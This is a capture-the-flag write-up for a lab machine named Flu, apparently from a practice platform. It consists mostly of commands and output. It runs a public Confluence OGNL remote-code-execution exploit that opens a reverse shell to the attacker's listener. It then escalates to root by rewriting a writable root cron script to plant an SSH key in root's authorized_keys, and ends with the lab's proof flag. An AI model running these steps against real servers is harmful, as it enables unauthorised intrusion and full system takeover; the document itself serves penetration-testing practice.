Flu

Information Gathering

Ports and Services

Nmap scan report for 192.168.224.41
Host is up (0.20s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA)
|_  256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519)
8090/tcp open  http     Apache Tomcat (language: en)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Log In - Confluence
|_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
8091/tcp open  jamlink?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 204 No Content
|     Server: Aleph/0.4.6
|     Date: Sat, 17 May 2025 09:19:31 GMT
|     Connection: Close
|   GetRequest: 
|     HTTP/1.1 204 No Content
|     Server: Aleph/0.4.6
|     Date: Sat, 17 May 2025 09:18:57 GMT
|     Connection: Close
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Max-Age: 31536000
|     Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
|     Server: Aleph/0.4.6
|     Date: Sat, 17 May 2025 09:18:57 GMT
|     Connection: Close
|     content-length: 0
|   Help, Kerberos, LDAPSearchReq, LPDString, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 414 Request-URI Too Long
|     text is empty (possibly HTTP/0.9)
|   RTSPRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Max-Age: 31536000
|     Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
|     Server: Aleph/0.4.6
|     Date: Sat, 17 May 2025 09:18:58 GMT
|     Connection: Keep-Alive
|     content-length: 0
|   SIPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Max-Age: 31536000
|     Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
|     Server: Aleph/0.4.6
|     Date: Sat, 17 May 2025 09:19:37 GMT
|     Connection: Keep-Alive
|_    content-length: 0

• https://github.com/Chocapikk/CVE-2022-26134

┌──(kali㉿kali)-[~/ctf/pg/flu/CVE-2022-26134]
└─$ python3 exploit.py -u http://192.168.224.41:8090/ -l 192.168.45.244 -p 22
[-] CVE-2022-26134
[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection
[-] Creator : Valentin Lobstein 

 Trying revshell at http://192.168.224.41:8090/

┌──(kali㉿kali)-[~/ctf/pg/flu/through_the_wire]
└─$ nc -lnvp 22                                                                                                                
listening on [any] 22 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.224.41] 57712
bash: cannot set terminal process group (841): Inappropriate ioctl for device
bash: no job control in this shell
confluence@flu:/opt/atlassian/confluence/bin$

Priv Esc

2025/05/17 09:47:19 CMD: UID=0     PID=1      | /sbin/init 
2025/05/17 09:48:01 CMD: UID=0     PID=2673   | /usr/sbin/CRON -f -P 
2025/05/17 09:48:01 CMD: UID=0     PID=2676   | /usr/sbin/CRON -f -P 
2025/05/17 09:48:01 CMD: UID=0     PID=2677   | 
2025/05/17 09:48:01 CMD: UID=0     PID=2678   | /bin/bash /opt/log-backup.sh 
2025/05/17 09:48:01 CMD: UID=0     PID=2679   | cp -r /opt/atlassian/confluence//logs /root/backup/log_backup_20250517094801 
2025/05/17 09:48:01 CMD: UID=0     PID=2680   | /bin/bash /opt/log-backup.sh 
2025/05/17 09:48:01 CMD: UID=0     PID=2681   | 
2025/05/17 09:48:01 CMD: UID=0     PID=2682   | 
2025/05/17 09:48:01 CMD: UID=0     PID=2683   | /bin/bash /opt/log-backup.sh 
2025/05/17 09:48:01 CMD: UID=0     PID=2684   | rm -rf /root/backup/log_backup_20250517094301 
2025/05/17 09:48:01 CMD: UID=0     PID=2685   | find /root/backup -name log_backup_* -mmin +5 -exec rm -rf {} ; 

confluence@flu:~$ ls -la /opt/log-backup.sh
-rwxr-xr-x 1 confluence confluence 408 Dec 12  2023 /opt/log-backup.sh
confluence@flu:~$ 

confluence@flu:~$ cat /opt/log-backup.sh
ls -la /root/.ssh > /tmp/test
confluence@flu:~$ cat /tmp/test 
total 8
drwx------ 2 root root 4096 Dec 12  2023 .
drwx------ 7 root root 4096 May 17 09:16 ..
-rw------- 1 root root    0 Dec 12  2023 authorized_keys

confluence@flu:~$ cat /opt/log-backup.sh 
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgVdM5uHqWz2JlWdtrN7uwWooqmrgC+i6TzrdFasRsnBJCz072L8nFuo6B44/hT5JT7TB+cmIJBoaFFAyrx6f3MnO8Ig7yRw1nBFoOUNlhcHLjv+IrXaI/b1blY1/E/G5F8i3kZEZA47z6hY+Zm+AQr1rW1p7DH6fHlS0n/b0M0LdGyIfVkyABLNSTiPucHmawZjjCUprt8ajlaMPIxWiKLqYzOSovncv+zFN5KMTjZwmPcMwvMxmml1asG36WlFCtW0g3wg0qAz78XFmTzNyjnBgF5dF6uXUtLi0APdWOSg/3vP+yETt61A6tZx4+eIJRr5vFF47zDKRNleCHRP8u/CsT6qmrxibHpQu2BIswHWrExFjx1H9YnKS6mNRNC81yfiSnHwkiKZPaAx/ESJGzEna1BOg4ClYvMAqWk5KUqXNoiIyfx27fd9mhL+DZL2EAciHPwfirw30XFEoSt2QqT6lCiP1jo8+Nw3YIzQLaUq3cArLk4ChQ+z5W+C2PuaU= kali@kali" > /root/.ssh/authorized_keys
confluence@flu:~$ 

┌──(kali㉿kali)-[~/ctf/pg/flu/through_the_wire]
└─$ ssh [email protected] -i /home/kali/.ssh/id_rsa    
Welcome to Ubuntu 23.04 (GNU/Linux 6.2.0-39-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat May 17 09:59:49 AM UTC 2025

  System load:  0.0                Processes:               215
  Usage of /:   64.1% of 13.67GB   Users logged in:         1
  Memory usage: 83%                IPv4 address for ens160: 192.168.224.41
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

51 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings


Last login: Tue Dec 12 13:14:03 2023 from 192.168.118.3
root@flu:~# ls
backup  email8.txt  proof.txt  snap
root@flu:~# cat proof.txt
f51eaea27548332aef7a218c2594c3a5
root@flu:~#